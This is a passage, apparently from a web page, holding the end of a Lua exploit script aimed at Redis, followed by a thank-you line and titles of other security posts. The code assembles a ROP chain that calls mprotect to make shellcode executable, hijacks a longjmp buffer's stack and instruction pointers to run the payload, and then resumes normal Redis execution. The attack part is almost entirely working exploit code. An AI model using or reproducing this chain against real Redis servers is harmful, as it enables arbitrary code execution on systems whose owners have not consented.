\"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n          \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n          \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n          \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n\n           --[[ poprdipoprbp, ]] rdi, dummy,\n           rop_addresses.poprsipoprbp, rsi, dummy,\n           rop_addresses.poprbxpopr14poprbp, poprbp, rdx_all, dummy,\n           rop_addresses.movrdxr14callrbx,\n           mprotect_addr,\n\n           shellcode_ptr,\n\n           rop_addresses.poprdipoprbp, rdi, dummy,\n           rop_addresses.poprsipoprbp, rsi, dummy,\n           rop_addresses.poprbxpopr14poprbp, poprbp, rdx_read_write, dummy,\n           rop_addresses.movrdxr14callrbx,\n           mprotect_addr,\n\n           rop_addresses.poprdipoprbp, old_jump_buf_addr, dummy,\n           longjmp_addr,\n\n           \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\"\n         }\n\n  payload_str = table.concat(payload, \"\")\n\n  local payload_string_addr = addint(cstring(payload_str), 4096)\n\n  print(\"[*] new sp \" .. dump8(payload_string_addr))\n\n  --[[ TODO: we always seem to get back strings that are correctly 16 byte aligned. handle unaligned strings? ]]\n  if (string.byte(payload_string_addr, 1) % 16) ~= 8 then\n    fail(\"payload not aligned\")\n  end\n\n\n  write_word(jmp_buf_sp, payload_string_addr)\n  write_word(jmp_buf_eip, rop_addresses.poprdipoprbp)\n\n  --[[ you can also overwrite the SP at stackpointer - 16 .\n  but if we corrupt long jump then it is possible to return back into redis :) ]]\n\n  print(\"[*] executing payload\")\n  error(\"wat\")\nend)\n\ncoroutine.resume(co)\n\nprint(\"[*] resumed normal redis execution\")\n\ncollectgarbage()\n\nreturn 42\n" 0

Ben, thank you for the patch.

OSX 10.10.5> privilege escalation 0day

A sobering method to view masked credit cards in the browser